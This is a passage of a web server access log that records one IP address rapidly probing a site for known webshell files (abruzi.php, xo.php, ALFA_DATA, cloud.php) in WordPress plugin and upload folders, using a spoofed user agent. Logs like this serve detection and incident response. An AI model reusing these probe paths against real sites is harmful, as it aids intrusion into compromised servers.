/wp-includes/ID3/ HTTP/1.1" 302 236 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:12 +0530] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/abruzi.php HTTP/1.1" 302 288 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:13 +0530] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/xo.php HTTP/1.1" 302 284 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:13 +0530] "GET /wp-includes/images/ HTTP/1.1" 302 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:13 +0530] "GET /wp-content/plugins/ioptimization/king.php HTTP/1.1" 302 261 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:14 +0530] "GET /wp-includes/IXR/ HTTP/1.1" 302 236 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:14 +0530] "GET /wp-content/plugins/ioptimization/xo.php HTTP/1.1" 302 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:14 +0530] "GET /wp-content/plugins/ioptimization/abruzi.php HTTP/1.1" 302 263 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:15 +0530] "GET /wp-includes/js/ HTTP/1.1" 302 235 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:15 +0530] "GET /wp-content/plugins/ioptimization/abruzi.php4 HTTP/1.1" 302 264 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:16 +0530] "GET /wp-includes/php-compat/ HTTP/1.1" 302 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:16 +0530] "GET /wp-content/plugins/apikey/king.php HTTP/1.1" 302 254 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:16 +0530] "GET /wp-content/plugins/apikey/xo.php HTTP/1.1" 302 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:17 +0530] "GET /wp-includes/PHPMailer/ HTTP/1.1" 302 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:17 +0530] "GET /wp-content/plugins/apikey/abruzi.php HTTP/1.1" 302 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:17 +0530] "GET /wp-content/plugins/apikey/abruzi.php4 HTTP/1.1" 302 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:18 +0530] "GET /wp-content/plugins/ioptimizations/king.php HTTP/1.1" 302 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:18 +0530] "GET /wp-content/plugins/ioptimizations/xo.php HTTP/1.1" 302 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:18 +0530] "GET /wp-includes/random_compat/ HTTP/1.1" 302 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:19 +0530] "GET /wp-content/plugins/ioptimizations/abruzi.php HTTP/1.1" 302 264 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:19 +0530] "GET /wp-includes/Requests/ HTTP/1.1" 302 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:19 +0530] "GET /wp-content/plugins/ioptimizations/abruzi.php4 HTTP/1.1" 302 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:20 +0530] "GET /wp-includes/rest-api/ HTTP/1.1" 302 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:20 +0530] "GET /abruzi.php HTTP/1.1" 302 230 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:20 +0530] "GET /abruzi.php4 HTTP/1.1" 302 231 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:21 +0530] "GET /wp-includes/SimplePie/ HTTP/1.1" 302 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:21 +0530] "GET /wp-content/plugins/dzs-zoomsounds/king HTTP/1.1" 302 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:21 +0530] "GET /wp-content/plugins/dzs-zoomsounds/xo.php HTTP/1.1" 302 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:21 +0530] "GET /wp-includes/sitemaps/ HTTP/1.1" 302 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:22 +0530] "GET /wp-content/plugins/dzs-zoomsounds/abruzi.php HTTP/1.1" 302 264 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:22 +0530] "GET /wp-includes/sodium_compat/ HTTP/1.1" 302 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:22 +0530] "GET /wp-content/plugins/dzs-zoomsounds/abruzi.php4 HTTP/1.1" 302 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:23 +0530] "GET /xo.php HTTP/1.1" 302 226 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:23 +0530] "GET /wp-includes/style-engine/ HTTP/1.1" 302 245 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:23 +0530] "GET /king.php HTTP/1.1" 302 228 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:24 +0530] "GET /wp-includes/Text/ HTTP/1.1" 302 237 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:24 +0530] "GET /a57bze8931.php HTTP/1.1" 302 234 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:25 +0530] "GET /wp-content/uploads/typehub/custom/a57bze8931/.__a57bze8931.php HTTP/1.1" 302 282 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:25 +0530] "GET /wp-includes/theme-compat/ HTTP/1.1" 302 245 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:25 +0530] "GET /wp-content/uploads/kaswara/fonts_icon/a57bze8931/.__a57bze8931.php HTTP/1.1" 302 286 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:26 +0530] "GET /wp-includes/widgets/ HTTP/1.1" 302 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:26 +0530] "GET /wp-content/plugins/wp-engine-module/a57bze8931.php HTTP/1.1" 302 270 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:26 +0530] "GET /wp-content/plugins/ioptimizations/a57bze8931.php HTTP/1.1" 302 268 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:27 +0530] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 302 250 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:27 +0530] "GET /wp-content/plugins/ioptimization/a57bze8931.php HTTP/1.1" 302 267 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:27 +0530] "GET /wp-content/plugins/gatewayapi/inc/a57bze8931.php HTTP/1.1" 302 268 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:28 +0530] "GET /wp-admin/css/colors/ HTTP/1.1" 302 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:28 +0530] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/a57bze8931.php HTTP/1.1" 302 292 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:29 +0530] "GET /wp-content/plugins/dzs-zoomsounds/savepng.php?location=a57bze8931.php HTTP/1.1" 302 289 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:29 +0530] "GET /admin/images/slider/ HTTP/1.1" 302 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:29 +0530] "GET /wp-content/plugins/cherry-plugin/admin/import-export/a57bze8931.php HTTP/1.1" 302 287 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:29 +0530] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 302 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:30 +0530] "GET /wp-content/plugins/apikey/a57bze8931.php HTTP/1.1" 302 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:30 +0530] "GET /wp-content/plugins/dzs-zoomsounds/a57bze8931.php HTTP/1.1" 302 268 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:31 +0530] "GET /sites/default/files/ HTTP/1.1" 302 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:31 +0530] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 302 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:32 +0530] "GET /wp-admin/x.php?action=768776e296b6f286f26796e2a72607e2972647 HTTP/1.1" 302 280 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:32 +0530] "GET /admin/controller/extension/extension/ HTTP/1.1" 302 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:32 +0530] "GET /.well-known/pki-validation/ssl.php?xsec=blocker HTTP/1.1" 404 - "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:32 +0530] "GET /wp-admin/css/colors/blue/uploader.php HTTP/1.1" 302 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:33 +0530] "GET /modules/mod_simplefileuploadv1.3/elements/i8HQoK6nR.php?action=768776e296b6f286f26796e2a72607e2972647 HTTP/1.1" 302 321 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:33 +0530] "GET /components/ HTTP/1.1" 302 231 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:33 +0530] "GET /ALFA_DATA/alfacgiapi/database.php HTTP/1.1" 302 253 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:34 +0530] "GET /database.php HTTP/1.1" 302 232 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:34 +0530] "GET /admin/uploads/images/ HTTP/1.1" 302 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:35 +0530] "GET /wp-admin/database.php HTTP/1.1" 302 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:35 +0530] "GET /wp-includes/js/ HTTP/1.1" 302 235 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:36 +0530] "GET /wp-includes/pomo/ HTTP/1.1" 302 237 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:37 +0530] "GET /wp-includes/rest-api/ HTTP/1.1" 302 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:38 +0530] "GET /wp-includes/widgets/ HTTP/1.1" 302 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:40 +0530] "GET /wp-admin/css/ HTTP/1.1" 302 233 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:41 +0530] "GET /wp-admin/images/ HTTP/1.1" 302 236 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:42 +0530] "GET /wp-admin/maint/ HTTP/1.1" 302 235 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:44 +0530] "GET /wp-admin/meta/ HTTP/1.1" 302 234 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:09:06 +0530] "GET /wp-admin/network/ HTTP/1.1" 302 237 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:09:09 +0530] "GET /wp-admin/user/ HTTP/1.1" 302 234 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:09:10 +0530] "GET /wp-content/ HTTP/1.1" 302 231 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:09:22 +0530] "GET /wp-content/plugins/ HTTP/1.1" 302 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:09:23 +0530] "GET /wp-content/themes/ HTTP/1.1" 302 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:09:24 +0530] "GET /wp-admin/includes/ HTTP/1.1" 302 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:09:25 +0530] "GET /wp-admin/ HTTP/1.1" 302 229 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:09:27 +0530] "GET /wp-content/upgrade/ HTTP/1.1" 302 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 147.182.248.81 - - [19/Jan/2025:21:15:12 +0530] "GET / HTTP/1.1" 302 220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:02 +0530] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 404 - "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:02 +0530] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 302 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:03 +0530] "GET /wp-admin/network/cloud.php HTTP/1.1" 302 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:04 +0530] "GET /cloud.php HTTP/1.1" 302 229 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:05 +0530] "GET /cgi-bin/cloud.php HTTP/1.1" 302 237 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 